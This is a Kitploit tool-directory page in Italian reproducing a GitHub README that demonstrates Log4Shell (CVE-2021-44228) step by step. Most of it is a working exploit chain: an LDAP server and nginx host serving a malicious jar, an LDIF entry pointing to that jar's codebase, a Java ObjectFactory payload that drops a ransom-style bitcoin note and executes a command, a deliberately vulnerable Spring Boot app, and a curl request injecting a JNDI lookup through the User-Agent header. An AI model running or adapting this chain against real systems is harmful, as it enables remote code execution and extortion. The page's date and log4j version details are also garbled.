Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2021-44228-log4j-test — Dimostra lo sfruttamento di Log4Shell (CVE-2021-44228) con server LDAP, payload JNDI dannoso e applicazione Spring Boot vulnerabile per test di sicurezza. | Kitploit
Strumenti/GitHubGitHub/bumheehan/cve-2021-44228-log4j-test
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebAnalisi MalwareApprendimento e FormazioneSviluppo Payload
GitHubbumheehan/cve-2021-44228-log4j-test

cve-2021-44228-log4j-test

Dimostra lo sfruttamento di Log4Shell (CVE-2021-44228) con server LDAP, payload JNDI dannoso e applicazione Spring Boot vulnerabile per test di sicurezza.

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

cve-2021-44228-log4j-test

Test

1. Server LDAP e server di download del file di hacking

1.1 Esecuzione di Docker-compose

  • docker-compose.yml

    root@kitploit:~
    version: '2'
    services:
      dockerdj:
        image: openidentityplatform/opendj:latest
        container_name: ldap
        environment:
          ROOT_USER_DN: "cn=han"
          ROOT_PASSWORD: "han"
          BASE_DN: "dc=bumbing,dc=xyz"
        ports:
          - "389:1389"
          - "636:1636"
          - "4444:4444"
        volumes:
          - "./opendj/logs:/opt/opendj/data/logs"
      nginx:
        image: nginx:latest
        container_name: nginx
        ports:
          - "7080:80"
        volumes:
          - "./file:/usr/share/nginx/html:ro"
          - "./conf/nginx.conf:/etc/nginx/nginx.conf"
    
  • Esecuzione di Docker-compose

    root@kitploit:~
    docker-compose up -d
    

1.2. Aggiunta Ldif

  • add.ldif

    root@kitploit:~
    version: 1
    
    dn: dc=bumbing,dc=xyz
    objectClass: domain
    objectClass: top
    dc: bumbing
    
    dn: cn=log4j,dc=bumbing,dc=xyz
    objectClass: javaContainer
    objectClass: javaNamingReference
    objectClass: javaObject
    objectClass: top
    cn: class
    javaClassName: xyz.bumbing.log4j.Exploit
    javaCodebase: http://{fileServer}:7080/exploit-1.jar
    javaFactory: xyz.bumbing.log4j.Exploit
    
  • Comando per aggiungere l'entry contenente le informazioni del file di hacking

    root@kitploit:~
    ldapadd -D "cn=han" -w han -H ldap://{ldapServer} -f add.ldif
    
  • Test ldap (l'ordine dei parametri è importante)

    root@kitploit:~
    curl ldap://{ldapServer}/cn=log4j,dc=bumbing,dc=xyz
    

2. File malevolo

  • Vulnerabilità trovata in versioni di Java precedenti alla 8u191, compilato con Java versione 8

2.1 Build del file malevolo

  • Codice malevolo (è possibile aggiungere comandi per scaricare altri file malevoli)

    root@kitploit:~
    	public class Exploit implements javax.naming.spi.ObjectFactory{
            @Override
            public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
        
                try {
                    new File("/Users//test").createNewFile();
                    String msg = "your computer has our virus. if you want to recover your computer, send bitcoin our wallet";
                    FileOutputStream fileOutputSteam = new FileOutputStream(new File("/Users/hanbeomhee/test"));
                    StringBuilder sb = new StringBuilder();
                    sb.append(o.toString()).append("\n");
                    sb.append(name).append("\n");
                    sb.append(msg);
                    fileOutputSteam.write(sb.toString().getBytes(StandardCharsets.UTF_8));
                    fileOutputSteam.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
    						Runtime.getRuntime().exec("open /Users//test");
                return null;
            }
        
        }
    
  • Comando di build

    root@kitploit:~
    ./gradlew clean build
    
  • Se non è un server locale, carica il file exploit-1.jar nella cartella docker/file del file server

  • Verifica il download di http://{fileServer}:7080/exploit-1.jar

3. Aprire il server vulnerabile

  • Struttura Gradle

    root@kitploit:~
    plugins {
        	id 'org.springframework.boot' version '2.6.1'
        	id 'io.spring.dependency-management' version '1.0.11.RELEASE'
        	id 'java'
        }
        
        group = 'xyz.bumbing'
        version = '0.0.1-SNAPSHOT'
        sourceCompatibility = '8'
        
        configurations {
        	compileOnly {
        		extendsFrom annotationProcessor
        	}
        }
        
        repositories {
        	mavenCentral()
        }
        
        dependencies {
        	implementation 'org.springframework.boot:spring-boot-starter-web'
        	compileOnly 'org.projectlombok:lombok'
        	annotationProcessor 'org.projectlombok:lombok'
        	testImplementation 'org.springframework.boot:spring-boot-starter-test'
        	implementation "org.springframework.boot:spring-boot-starter-log4j2"
        	modules {
        		module("org.springframework.boot:spring-boot-starter-logging") {
        			replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback")
        		}
        	}
        }
        
        test {
        	useJUnitPlatform()
        }
    
    • Verifica la versione 14.1 di log4j nelle dipendenze
  • Codice del server

    root@kitploit:~
    @SpringBootApplication
    @RestController
    @Slf4j
    public class Log4jtestApplication {
    
    	public static void main(String[] args) {
    		SpringApplication.run(Log4jtestApplication.class, args);
    	}
    
    	@GetMapping("/log4j")
    	public void test(String param, HttpServletRequest request){
    		log.info(request.getHeader("User-Agent"));
    	}
    }
    
  • Comando di esecuzione (deve essere compilato ed eseguito con una versione precedente alla 8u191)

    root@kitploit:~
    java -jar build/libs/log4jtest-0.0.1-SNAPSHOT.jar
    

4. Esecuzione

4.1 Esecuzione

root@kitploit:~
curl --location --request GET 'localhost:8080/log4j' \
--header 'User-Agent: ${jndi:ldap://localhost/cn=log4j,dc=bumbing,dc=xyz}'
Scarica lo strumento